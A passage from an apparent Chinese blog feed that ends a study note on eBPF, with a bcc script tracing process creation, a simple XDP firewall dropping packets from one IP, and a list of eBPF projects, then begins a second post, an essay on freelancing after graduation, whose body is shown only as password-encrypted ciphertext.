python3-bpfcc</span><br></pre></td></tr></table></figure><p>编写一个程序，一样的逻辑会监控所有 <code>clone()</code> 系统调用（即创建新的进程）</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># hello_ebpf.py</span></span><br><span class="line">from bcc import BPF</span><br><span class="line">program = <span class="string">&quot;&quot;</span><span class="string">&quot;</span></span><br><span class="line"><span class="string">int hello_world(void *ctx) &#123;</span></span><br><span class="line"><span class="string">    bpf_trace_printk(&quot;</span>Hello Ubuntu! New process created.\\n<span class="string">&quot;);</span></span><br><span class="line"><span class="string">    return 0;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&quot;</span><span class="string">&quot;&quot;</span></span><br><span class="line"><span class="comment"># 加载程序</span></span><br><span class="line">b = BPF(text=program)</span><br><span class="line">b.attach_kprobe(event=b.get_syscall_fnname(<span class="string">&quot;clone&quot;</span>), fn_name=<span class="string">&quot;hello_world&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;正在监控进程创建&quot;</span>)</span><br><span class="line">try:</span><br><span class="line">    b.trace_print()</span><br><span class="line">except KeyboardInterrupt:</span><br><span class="line">    <span class="built_in">exit</span>()</span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260328004316882.png" alt="image-20260328004316589"></p><p>懂了上面这些逻辑后我们可以简单做一个防火墙出来，这一点需要你提前知道一些计算机网络的小知识，这里用 XDP（eXpress Data Path）来做防火墙，<strong>XDP</strong> 运行在网卡驱动层，甚至在内核协议栈处理数据包之前，这意味着可以以极高的性能丢弃（Drop）攻击包，而不会消耗 CPU 去解析复杂的协议。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> bcc <span class="keyword">import</span> BPF</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="comment"># 拦截一下 8.8.8.8</span></span><br><span class="line">BLOCK_IP = <span class="string">&quot;8.8.8.8&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 内核态 C 代码</span></span><br><span class="line">program = <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">#include &lt;uapi/linux/bpf.h&gt;</span></span><br><span class="line"><span class="string">#include &lt;uapi/linux/if_ether.h&gt;</span></span><br><span class="line"><span class="string">#include &lt;uapi/linux/ip.h&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">int xdp_firewall(struct xdp_md *ctx) &#123;</span></span><br><span class="line"><span class="string">    void *data = (void *)(long)ctx-&gt;data;</span></span><br><span class="line"><span class="string">    void *data_end = (void *)(long)ctx-&gt;data_end;</span></span><br><span class="line"><span class="string">    struct ethhdr *eth = data;</span></span><br><span class="line"><span class="string">    if ((void*)eth + sizeof(*eth) &gt; data_end)</span></span><br><span class="line"><span class="string">        return XDP_PASS;</span></span><br><span class="line"><span class="string">    if (eth-&gt;h_proto != htons(ETH_P_IP))</span></span><br><span class="line"><span class="string">        return XDP_PASS;</span></span><br><span class="line"><span class="string">    struct iphdr *iph = data + sizeof(*eth);</span></span><br><span class="line"><span class="string">    if ((void*)iph + sizeof(*iph) &gt; data_end)</span></span><br><span class="line"><span class="string">        return XDP_PASS;</span></span><br><span class="line"><span class="string">    if (iph-&gt;saddr == 0x08080808) &#123;</span></span><br><span class="line"><span class="string">        bpf_trace_printk(&quot;Drop packet from 8.8.8.8\\n&quot;);</span></span><br><span class="line"><span class="string">        return XDP_DROP;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    return XDP_PASS;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line">device = <span class="string">&quot;enp1s0&quot;</span></span><br><span class="line">b = BPF(text=program)</span><br><span class="line">fn = b.load_func(<span class="string">&quot;xdp_firewall&quot;</span>, BPF.XDP)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;正在 <span class="subst">&#123;device&#125;</span> 上启动防火墙，拦截 <span class="subst">&#123;BLOCK_IP&#125;</span>...&quot;</span>)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    b.attach_xdp(device, fn, <span class="number">0</span>)</span><br><span class="line">    b.trace_print()</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">    <span class="built_in">print</span>(e)</span><br><span class="line"><span class="keyword">finally</span>:</span><br><span class="line">    b.remove_xdp(device, <span class="number">0</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n已卸载防火墙。&quot;</span>)</span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260328004611278.png" alt="image-20260328004611095"></p><p>简单拓展一下 XDP 防火墙的知识</p><ul><li><p><strong>XDP_PASS</strong>：允许通过</p></li><li><p><strong>XDP_DROP</strong>：原地丢弃（防火墙核心）</p></li><li><p><strong>XDP_TX</strong>：原路发回（可用于反射攻击防护）</p></li><li><p><strong>XDP_REDIRECT</strong>：转发到其他网卡</p></li></ul><h2 id="代表项目"><a href="#代表项目" class="headerlink" title="代表项目"></a>代表项目</h2><p><a href="https://ebpf.io/zh-hans/applications/">https://ebpf.io/zh-hans/applications/</a></p><ol><li>网络和负载均衡<ol><li>Cilium</li><li>Calico</li><li>Katran</li></ol></li><li>系统可观测性与监控<ol><li>SkyWalking</li><li>bcc</li></ol></li><li>系统安全<ol><li>Falco</li><li>tetragon</li><li>Cloudflare</li></ol></li><li>性能调优与性能剖析<ol><li>Parca &#x2F; Pyroscope</li></ol></li></ol><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://assets.jimmysong.io/books/what-is-ebpf-zh.pdf">https://assets.jimmysong.io/books/what-is-ebpf-zh.pdf</a></li><li><a href="https://developer.aliyun.com/article/1223770">https://developer.aliyun.com/article/1223770</a></li><li><a href="https://ebpf.io/zh-hans/what-is-ebpf/#ebpf-%E5%92%8C-bpf-%E5%88%86%E5%88%AB%E4%BB%A3%E8%A1%A8%E4%BB%80%E4%B9%88-">https://ebpf.io/zh-hans/what-is-ebpf/#ebpf-%E5%92%8C-bpf-%E5%88%86%E5%88%AB%E4%BB%A3%E8%A1%A8%E4%BB%80%E4%B9%88-</a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;学 k8s 离不开 Calico，学 calico 离不开 eBPF，简单学习一下，记一下笔记&lt;/p&gt;
&lt;h2 id=&quot;什么是-eBPF&quot;&gt;&lt;a href=&quot;#什么是-eBPF&quot; class=&quot;headerlink&quot; title=&quot;什么是 eBPF&quot;&gt;&lt;/a&gt;什么是 eBP</summary>
      
    
    
    
    <category term="Research" scheme="https://iloli.moe/categories/Research/"/>
    
    
    <category term="Security" scheme="https://iloli.moe/tags/Security/"/>
    
    <category term="Reverse" scheme="https://iloli.moe/tags/Reverse/"/>
    
  </entry>
  
  <entry>
    <title>应届毕业后我直接成为了一名自由职业者</title>
    <link href="https://iloli.moe/2026/03/23/essay/%E5%BA%94%E5%B1%8A%E6%AF%95%E4%B8%9A%E5%90%8E%E6%88%91%E7%9B%B4%E6%8E%A5%E6%88%90%E4%B8%BA%E4%BA%86%E4%B8%80%E5%90%8D%E8%87%AA%E7%94%B1%E8%81%8C%E4%B8%9A%E8%80%85/"/>
    <id>https://iloli.moe/2026/03/23/essay/%E5%BA%94%E5%B1%8A%E6%AF%95%E4%B8%9A%E5%90%8E%E6%88%91%E7%9B%B4%E6%8E%A5%E6%88%90%E4%B8%BA%E4%BA%86%E4%B8%80%E5%90%8D%E8%87%AA%E7%94%B1%E8%81%8C%E4%B8%9A%E8%80%85/</id>
    <published>2026-03-23T14:18:05.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="bf08557187655b7d3a07604834065d2c1bcab91cfc1c5d7b2e278a2f6fc0e0e3">648b073a3dd49ff3b342e4ecab5834e2ff790aee173e432c1e238a3306f80b8d122d0ca91ed9377cad008fbd20dc6d08e3fea3029d9d1265534827eb1868c93f1830af0b1abd425ac23c68211de633b4e073d07dd1cf25bedd9f280689405b0dc96b023d10e578276be9ffdabcd1f4603bd20e469fd8372a22aafc5236d51fdfd4a1d8df2c588d55e9f109b6460bf070edad75bc71f627b35d58db54612fa15ee6929f38eb98b818d0999a5a55cc32c69b59bcb7e1ad94b894c4bd43ea2eff5e131eb97d2b4fcf69b0d4d6a3575058c9ae18d26e051ac854a1f4c7fee853e4512cfd1c305184c359c5862dc10904d7afa68c224581870df15b2956f5f5ae44f9aedb3f68751cc2bdc2dc737b6ccb7a010eb3ec74b65d142cb128b53acef8b0afbb94789739bdf26a8919ef679101efaa572ff2b5e7ac5e9f42223ffa0a7d16ebc0849d9089cdb1c6bb9cd803845007cd17eda5be832c84475fb5a33144db78f09a745056fc2092411f0e82194515378bd4561560e6c552973dfeebc2485e87e83aa56baad7cf770c8aa7938fbc674fb70921bc7b65e506281e9c40c7ccb22774741d1bd7f18de47c1f6ef41ac5a9b3b1748de939fb83df7ad61b82d1d96741ff74d0dc9bf263594cb7e178743d96692601af18220ee201b7dafb1f0f1e857e19214ebefcf20f71e5da2c2e292775d594f6aa91c4072ad3f3b67fd331e1574230c558648b4ed20eb1dcb98f421a9e8718350a34b980e197da0e904c7c262930644f13d2d78e18265a33978cdb2a3c5f10d0547bdd5ee1f81002d8b97c84d2fad7f841c6bed7445ff5bf8e182ab22fab2715673721a401c68c79f70b81b4a7e03081b462875880ef78c103532bf93b0d47576c8b839518d388bda77e82888745dc10ba2936e7b8661aae8a93ce513d5a30c04343771ca3269b2131cdae9d730744ea299a23de2d653c2e1896713f92ff53b19f1aae63457c7f01b0b07c9d80441762f61282dcb03baa5f2aad0c73e5f10b25934c0251c1b8696d15288cbd98028f127c57d845deff7ef8fd037e7c18d23aeba0ba652c9666042c0fc4d3b5ea9400bcc854d91e67bf6d8611a502db25c1305b488a2ecffc4c9257040d57d4568719bf43c191b93f2e080780711601c5a791fc1123e864e48d34ba8c4d712d67fac68583b25083bfb034d4e3c801b7041418ae0404bfa6503e872715cee5d39dfffabfbf32ee408df743afc5518e2d06f2520c3051601c4511185f26f253c5702bc09271a0dfbd8b1f0a9e61f6f3f9c8b19ae9c664cf7b4f1500c3f1bdf1e8799227f5378f2973f8ae645e2476b6de802e2c0acd956833dfb7fdc8e6d6cca3769d71644dd966029e575887acaf47836fd2833dbdadf62d6c9a00c018eaa8cd55cdb511dd0d522e27eaf39c5733ea9c2efdc05863fe5d47dcc9d7d6fc3515166ed870ccd6639eefb0c34f387d234b964adb4a01caa10ff8cdea4ce61a605a8a8f07236401fb87fcf588c1dcf8c6a6e13b99cde46828ef37c68b887636ce0867ce947bdd177d6df2b874616dd73731257ac1beb6fefacd557d63e22d4005c920db0b8672b5b84854c120f35a95f64a9e673310257638d5248446b459cd42b9672bfeabf0f82255b601ccf0d397de6ca44396c89765f2ab207cc011eba546fe5590153b47eb223af40288a919c8699d6ef6e23fdd7246bdd3a7d695b1741ce35614788d4363b15fc3f61e60ea6a6d006aced8704222ce3594177ebe192d8fb218b7fe263ba5017cd43693bdb7839a5c5595b8c8b8a1d62fcf4b882e9432e4c0f05f7661186181d928a940b16c95cd0113249c35cfec590da76f0aee45581d83393c092411b76a8843ad53006df1a67df7df02d2f066da246e002c144e5aa22950e46c193b41ab97cf466e85ca519ea5be8718eec2e18f44eaee7219ed30106fbc1c59d8bdabbd8a6080a9501889211da25c99bee2faeef14df3a8243c3211115127bd012f6f19247359a0700241d8765c4c221b43f6247a8744dedc2aa3d1da8db39471ac11d3b43ecdd05963fa557a893dd3c3f56cddc08639fe886193f389a81231bb228cf923cb533f88aa770054155c04314ae0d2a585aaed28f835980e0e038d655539a9ab51c388c9c763a28e12c4c1581bebd709e47b66b48145373dc4628257b33d35262e51523edd35ba039be55493359d981ce71bf77726ecd6b15de661769aca1e2ab7228ed21999b91ffa8264ef52fcb7fef1004de142ab041da603cd9a070b53d38e8bf4a6a14a09128cfb22c3b3c8a4042ef1e91a2030cd05b2d0bfac94676ad81818c2282ff95233afa8134e82d0b1b6dd5a461043aef0719daa8c1035d2179507e79927328a22312390cb8854a5940e1ef3d4ee7d975baff70c81edfe4e52e1de5665246642008d76fd68dcc6abce124b6e4d53c56372f9947ed210ac1c2c1580dbd4768e9d3afbbd36f20c434fd5d0400f238dcf7c4dcb302989ea52f04ec03082b1ae73d1ca7fd73de74b40337935a839122c46c39c534eea5ecd44e16792b77edc46351a0b2532ddd6550328d33de12daa574d8862719dd41c2ebf31b890767c9a0285348f6c0dda20bc7fe4a46ee8f7768a6ca40adc776eb8d072e42695e5a6ad4789c19751e96ff1ed094d2e2bceeed673f2fc444f85e21a2241e3c272c926045f8631c175fe5d84efd0847a9b42f462b2414ca2179aa15e76e12cebb8f124b1a55eb84f413b2f16cbbd29b2f02762362c6d06e3a306a494e20da65f200c786e8640ba51f1ad8d5370872dcb049d5820e168d13099260a78e197bf6c504712a569d1cf62cd35baf5c469581aca0f591bc839fe6e3459682410d3113f03e401461bab0094222c7085cc352ebbe7cddfd9712f7cc8a3458616fdd09ae92c9a2aa4e7bc68d55be4bd3052e0bd40320ca31a4c88336bbfce0f28e8f70aff51dc6b3892c12a7e11ab991f02173f5b42bc96a65fdfa61bba905f4815e29c4a228135c9b37289c7496a0f97c6545d4ff99f685efba32db85c8d389e05e0d2b39f106ea642540720a58f461a0e1807a718d99b4fa58e1e4ac272845c45ef029eb127a668d1bf94b4a7efec1fe62cef3401779e2f6a73645caed11aef3d6dbf3aab9f38e10ecf5bc2644cda15bc92663fe925bfebf625a8fad6d31439a3b09b8d8b6d0d8244b7de0aa3464257a0975a5e61653c899b17c695d9c7b5b635bf036350e0aca8cb0372d5bd579acc0fd748e7fa0ea7d19054805415472649d39c8a69434c8211da0da6e60a83ceb248748770e5db9157732a04c2abb945490ce7c22ca4ec2b6365d590bcdc27b3bd8397ba49d9ca8b43bc52d9571ffbb70cb152c7a135c72a8cda659465972f0a921370331e87451186203eb47dac3a581b4131f731090fbf41444112be840f0eded0aae1b2a71e21a7d5d7ce904e336d38abf010338549402d5095db6f574e9c2e69b14b95430243cb36b53af65d70f3dbc47943bc84852e0f502bf3f036b8459621dd8e1494aba9436a2b2e9cf9a78f6a4c9e97072e8fc13ce0571e7daaa336cecaa70780b6848fb23d0c7ab2e3841a23fc116d537f8f71dbcd546e5602de24b23242381fba885c0ea9c9a2fe1e19a0440b825d570136c3696f34059d33ba35de44a1f5c36b462dcea96e35f7bf7512381a21b0510abba23f88f1be0f5736722d0b1dfaa5c507f67bb51436579b9530c0f727dabe26e193e40837ba2856d5121d53fb4efdb61ab554ac427dd8e41d309254119f386478c7f3f343a009e5f46c79bf1ac8ef9f0a6527a32c72cca720f9a7fef9f0167b079d3a44c40d4188e3a4396eed71f654173832211dc120f6f107a3c3ebf1d2d3ef2c4a6bc2ed3fb1ce43749b243d0d949e12eabb726738669e620f34ae38f3182ac0fa049bb229bd015981ad0726691d8c7425f0b803a865f44507f732d2cc6c8616dc6273d0eef1fca113dc20e54d7eae7fe963375d08465e3010a0603b492c214c732cb908a3f9dc55f0187b128b49b5d32be4455597bdd950816107b7acfa83205beb74c0e35723a24df929e7c99109da36b63fe0218d419fe081be1afd5e7fd7169548dbc390dd169bfa358b3fe39968e42396076e476df3f21608aed22ca6b10b94b7fb0c3278141f1244bcf185e77469e324a46f7f50a60247f509c6634d9c2500a2218efafecfb3d1c828e5e97e0b08e5ab65b30a13d63b2e83892f1a47476754f6d87e8092794a7b3eacbcf3c2de7de5ced43cee995b0b81511f4d6b73ef17742023b0ab87023e7532131988ad0b4a2addfaf3ade25f74e96ab6f53c299cc706186028d15b897bd829c9467b1830f55760b7eebd9f7f9639f084415c57645487cf1a93c31196853a0c6b46a2cff73c2652d57405b8abd19cecd59b8b73d08714f08771c4970f6a4c95a5a4155786d887fcd7b136a2cac2fdcf4299f566e048e95f97c8f7013a8a117c85cc434fb2c1814533790d324287e1bab7c2f8bfa32cd4da968f35053075b7902643f81e78e8e2c536d991eb447fb5f6a3a921165dfbfcb20265ae4672af2df70b1a4699514335d53a35c6af8146ccd196be4558cfe5e44ecbd1009de1e9184a5991530b741e56d0091492a5b9b46d36ddb6cb10e0bd1b0bf408092c6973a388853a652d16ba0c007abbe476f521675afd29c93f594283142c9db283a253678b1d54cc22853f48781de1b04229f4998a0f1cbdcc58423b37185c286b29f744cd64f75d4b7e8c9d95fd4ae52e3bbb4d28b799e30b03e8663ad980db7c0c0a5c167919a82f5aca422362ab9e4192df9c8321a4df43d11ace20a93b5f3fcdb43c1ae95457335bbdc9eab98123b268add9ae2a832eb1d68dd89d886fdff78d105c412420985b0ba52531535dee0c87bc36497e3bf7eab40eff63200ff03901e5635c3377a24af5270411a315108de07d548c3901566653d7efc3c1c117da069b79a438d86bb64979c4ea2ed9ef4a70a4913a7c94a97959d730dd2dd2226f8fe75e0528db1ad457d8a7bb4fd7c3b5223e0e792aa615d1f9098c6fffea6b29a027f3aaaad3d8004cc8e17e960ee8203bec56166506b5dc261593c19179493f6b7d686c1c616d620989a19425810784fff7159a87d8b795cb55e8b9b40e734532c9d334f64b2e2deacbcf3fdede73ead78e960c2f856aaaa18fdab1e79fc8dce4827912154f6401d6b54dda026fbc9e28ed07633f8c77168ede80f67e26011a2566e70c8805405e1d14003db346d294c9733c6e1129755fb23332b060be3139726e0b56b044baabcb4907dcc32f1b24ba7aa22e4feb128403a0899a097190f19656ec9593840e7dfebebe0c7c259fe730d86c3de0ecb8707a9c7cb013b5c7768bd2b8b2ea58fd9b3291b29757febb3d1a427a12705e3aafe1e8c7c5635f9d868ed4ec8b576c7378977b40d60a4f57fe7d41e058582562be4820fa8684f56a07593fb57bf21243629dd539fdf4bbaaac0b7da0e2cac075be6a03245d5df150403cf05f8444d81648470e0b3b3a0e54af50aff74e64f2ee36de8e7cf6c94641f568ea8b21584103cf8ef63dd5ce5ba302d2deab55e44cd19202cdebcc2b5167199945061140e156d8ae6bcc2de89cdd2bca32fdda52ce7e8e28ddae1bf7979563da8a37a2a002a4581d42e6ba29bfa65ac1ac22edc122c293c60d0c3d222693a042f5c459c3b5d54c5ea218bf6cf73f54b8e2a6f4ec65e02d83d3c1500c1496719af76a40864f224dbd5dcae863c37a691fd931b7142aa27e5b49dfb2e80aea752ef118811455d1d5500448b0243e25a5b22d67eea6822d67cc90a9c7f94dcad808d7fb199ccb2b784ea0ca9061aa355675feed926742d8bf99ad633f3d8419e7b978a9c78e80edfbed554bcb952cfde6a314268fef7038fbd2e56dde7acaaa01a044b4872cc5414cdd76941a3ef43d45fee6a26f1423745a34c0f860b89118b4e0530c47fcb356250c88a22cf877a00e562ef7935115af274995a216720c00551d9c6470d4279ec8d44a7d13489192f3f11aa0071d4dc5f648c411b2a22a7257476574e6a354c4a1db1ee8a40c0184f03b69bbd268c62cbc22dc1f24ed2fe25982f77560969cca6671feb8e63a071428f324ce979599464c333b82f729e032baf099a02a4d0f19a49592a2588e6391e90ea96a83a727c361303224ffac3a16e233ccd558c07acda9b3ddc51408ae3532f71d2aca9d0cf34abf8d1fd754b0930766098d299124f443f059229205a3cd8709048f422e595a213bd00b8ab641f9846cc1f1481106cf0677814d14990178ae9f2db73155da43edf846d50f9df37971b27325ff8471dd4fd446ffa768666b452636f644c73b9527938718961d3b16ccb183d684a4d32020ab4ff5b8ead7758fa5a346c484409461ecc06a08ebccd6ec818fd1046636632e2a8e1e2fde6f0c56eb2bf731954db823b3add85083b48519772fa7ed438545f735d36e67952faa681a318de02181c9ec6d9d3b16ea9fedf33e152c47271f2d34afbae400e9fcd6d85c2e66875281e78e32611297c9ca51e2743b93e68a8ab28d05c5c6edb7dc8f6c41d3dd4bc276f87990e39202a22ec2375c7377b546deccc90fb573981a4f3f770029680ab5f6b1dd88161bfe09353bf09c48272d1bbe3e31a671ccf3bbf9d285075e5dc306fff3481693b31946a41b64abfad5a4ea69e917e30dbb565e179fad57d8a756452cf93c564c11d6c78323c05b01898a0ffbea51df6e1f5d7591e4c2a66c44addd3bc69ae912024403619d5d040cd9875e6ec523eb6ea96a33ffdf763629f1ebe41889bd2d5f91dcc4b722db730c2ccc101390d756ea1e8f98776e1b8bd083ada58e4c9ad0044778f87e61e0bb68a35e5a0a65eb3337f2de336d81d4584fb84f934d7bcd390d3d3b37f276bd79abffc5949e7a24664ab3c8820703834f95634972400f799d27cf6ca63f1bb3774e7bbad5408ab38affaa0fdd67cabcee7f5ca7d8cb386192d69f86c281020f6964d8e5a90ca0bb7a2adf2dce8147d76f124aaa1bb1bec051dfc8d187646139eb3bae0624b8699e1a6415bcf4ef65f66dd1d32b87021a6ccd885367896a4e609cbe2e24c403e43c4e09a151a4f6f3accc5dd923249dcfbd227aba8fc4b6e716ae24f3b6d8c54d6f75e3af07a09ef96f41e85cc952732844530119445745f1d359f3b9658950d848369f99b70395fa224a09eff50271cb9839a515f5514ef41148e020080fe6a5619426eed9e07a832193c589dd6bc683f7b6a9a791f8f48cf69c5484fdca4318ca9465158245ca7421e9b527cdd0fcdf3dee50ad345830014b4286d3659fef9b4da9b300b373da6e2cd6d5682cabcf1646a3cb9ebca1baceedb513b9a6c4e756880d085e68670cb6bfa28994f5a3b14dea1ffa2aa72daae11a4990176218f997f75db0e19d518d620be5488e24ebd58860479d334f06db346e018fde6340ae23626dcd5a201d46bad3762e9a99baed7037e90644ba998dc8a1c5f30e3e7eb73c242db6b5dfdaad9b2371af94d2878cb70c571bb744e5c2d1ef5c6e4e78e519459cebc1a7c5a687ce1b13c4dd59a5c8f2b71651257fe2182a09799eb7411f9e7d73440bdc4da075babaaeb4084b6cad1ffcbc0bd5ea1365a1f2ec9f79634c2de1f6452328ddbef81a0c2880b2964f58e43ac89d294dbd7178a533cb9e82d6aa74c4b4544805d086821728714c18a8fd6cace90fd953a0caaae405aa5ddeaaea26f95bbb149f8674271af047e6dec1e041f6bad28202e0025c3c7fc347ced4ef112aba350ef54b515900289e655979f75e0cb6fa096c036a9c071bcc26c1d5139f69fa43fe12927727c0c0876380747dd51c58d8b21d2d0cc7bd936eb02695496482172d05c4a2cddbfea3f2f0969f8ddcc1f6bb1f1e1ca90e592150f730dba95dbca1a4edc3a82505bcb1fa1c347f32bff5f16333fff95c4c6e8412be1229ceed9c680bb7e1752d15f1af5fd73dc428155ef034120f618711e10c23316fe0157ea1dd274c7a31c741d3cd549dde928fb4b922fbee84ad2399f4735958807b610839c60e4cb60e7121ce173cddd9c485152b0170589530beb5a35760b17a3973c3989cd4539299842f3f5bb75479e029ea484118bcecc5779dbf5581e5442fa1e6d8311f11819b43c7d3716ee4661bd36814363fade351e567940534aae5fff813dc5275866128f562249a823305feea4d250420ce77f3bad515d0388bb1fe5195ca833714080b268fab5f396c19e0ef27cbd182443a948795b60402132da8bfa9433521cd6a2c5c99ce1233cfae5bbfa742bacbac71afd41534a92b7df0d329eca0e12cf6619ebbe278e3dc7e6d8edf554af332f55c65e859df94b78e6cd9190b78b30525647b6a0931ce4b73e16f315ab4e177af8f416a2fa2131b61428613d804daea543aec96b4bc780761efa9fae789f285bb86d703f05aad4e6909df2714903b9d35003523204c7f985fb84e127e13e26e051a58b7dadac18d0724739ef0c95bf78a98b5ae384a5d5bec97bb198840debd72701d35436b50d7048c8b0271f3b07e5942eeaeea20fe5cbddda6d620df02453b473112f7107faac0b9765746922d5affb994d3ab5e5449294a951ccdb80cfa6b417504ace5a51b94d863cba5d6b2d5ffbe992dd1a52c82c17953f9d0b7bfd451396736849050d3329a752d7914e94bfaa7e3b4039c5a551929dfeb3322a1c64bb663fd5ef55d2c777b01ad142a71acbf1b3bb48451610b44d06b0fb77d90df96a3832817e7e6d6b136acf52fc33ef84c57cd328c7fa7aa82769f118b3c9394cf0d7f39f427a1d9d20010e6675245115a47cd40eb93d9d4c4439cf3e795a65ae1c862adb00022fd5ff62234eff20eedcc8ac3d738ca541887a1c039c1e652e767f1a5cdc3dc88499e1d030f5380f60ead67103bee61473dbe539d532d014220ac05684c8a30d4f318dd848e98e0d46cd81ed1a3c59aacbceb98139409d195ba5de6f7a6ff0d09cc4ab66c58b74d5ef1fc36c149e4c2973db1175e5185ecc29bca28a1b2bf758a9e7b4b165ed054197f0f1dbd542427ca59f69aedfaddc597a0aa4b513c3199f172d7df03fd9104163b952038cdd979ec6a7066d41b59106ec0471e1d0ca7d73d0ea8a47277164a16cd788edc82f53e61bf8965fad8cbeb9affa99727eb7f52cb36749f9a7bcb955e29a79f59f0abce507051d9abd5c52ddefd205264062c5c37aced0b00a937ca111d624b2132b916f52bb1af32875061ab3f7f9bcc2df3e48fd01e727b20b04b3fe92d4c769a6ac23e923a11499d50e4f31b7566db914f09edd18e62a5d71fca1e129dc6f44bb27df8b09d55e52b0b78943bb88c9cbd24994d68f153a7bc283774060bec7c0f5773f08d0c5c6fd82722756732dfb4c4fea06dfba9d43b6448e7956d20e20955fb223f378263e16c666ed7bec9c6412ae6d4a5a1748dfd88d47afe59a3a02453572b600a9ce49df027bbaacf0185f7c826fd414f5ac7dbbc48933aec22c9ce6c0113c775a46cedec2718923d76f9695df2c87b60bbbf07ca1e943160be57870991719e94b1738713a11d1d9159934f15200363d0c585ae81d21a32823c9f833608d663912485bd8370c3e95f0df7261fa9d6dcd57561775299a788576362b056d3981411f44e1523a08ca8d7b3d36963a50307eb73e31f73a56c9c564028511f9fef46686e116886f7742545d16fb59da77f5e85e61d60dbf8720aada77ae5d9f1c014615b6d068c48422c186ef574891f6cb20d0213b595fc80ad063d34a3c70b79ceebf7a9fba28dbfe22649c31996eae25e622e301a656f990e2ba937c26ed72e1b71226c7c607c04af1c630741d103367daa2a50d0103a7aef109c5ee72d6818471589c692f12aa3b911ced2d4ce289a2415047f8fb654fb78f0be46e89a3af7e3406d9b14ceb800b4519956c4155f38f02d2067ca5058095a194ee03974abdac61a51e4225313945548d3216c4765d6b398907feefb1f55e8934728acf635b4ecb8c5cdce67938eb499efe665c181c0cae16fa384505080f08c45bc4d14c388f8734ffc10cbad6168856c1d78738752216596e5acbed53beea429fec366f9fef13a201affaf43997d31554cebcee8f6039174203eebde39e657cb2ccab2801b4998546cabf272804f92bca8aea2ae4b1ae341b6c0b95763ac1d8ea67316dcb9c34f1a3ff22a6d3e644f342fb862a55aa7e6b0f49c5fe582a2fe3989a79e2e85e2edfa981d2cb984813ef3ebeddcea08f91aaf92d30d3986f1850a6b795252f59d1d4e59be4943e49bd635fa2d561065f1d5f376d270cb1f8790f18cf101538e7950533f56b4f5a101a91aeebdc528110c48c69524f8ce87e28bf80d8108aa597a02f298a2aba5002f9632cd1a69512e517ac4eaaedf3d7d26e9d91862448135b07236ca58cf4ee79dd23dc1fa36a2132f02b47e9956601c09ac1e4409b5f892ca8e8562334047c12e3bdef1f1bf76c987e7fe9a626e3ac2e553af1a876d1bd059b6c2d32fa3e247624096e2ffbfb7f3c7a351f32784133eba1cf9af9c61caa6cdccbd1a53c9ecb812220042986ec0d913a732010714f027af8536b631dd4d59d3d2420fb3168eea651d79e983bb5d003d8fd9d079ccffcfd0d6aedddf1a6594d5e1910d85b2d73de66575c0ca5ef3450d36414f7dbbf876bcf94a51cadf17addce60097e5cdd0c6e66b531b8657c2ae0cb7a19f93f8dafeb70a0107dec7d4f115e90452bc0531e3b4aa0e05d9426af431d6ed90f81e507aedece12ca0127d90732c7095b5a8406713b1fea266d4bd26ad2fb14c16adf436e4d79d26e27f161aae3136a671aa9126d9df46671a6592fc2660cbf3bec6e2084e269a6bbf4fda6010d0ea3901587196f147f61f977023aeb319304eec024e7286c07d1404256cd673d91b2999b15f5cb8423881a42b809248a6e3c86631c2e3e4fe1f369d6d7fc8b83fd19b77d23525664be152ab1df49ab3438bcb2cb710f5d7035205f6ef6138f23145369ec2daa75acff99b2877840510a896a54b91a1d696abd7f68d0eb8460bd7c07b193b4263a95bcf1ece47eaf467aa4335e9a7f0965ebd02c998e304c8d566df428c8c63265e0f8c737066b319cfce45cb0336b33455956517830ae56dad9068458bb67b5c16faf6e30621c4f2ebec4893b702016b32d9e670e66db401c6f81ad9905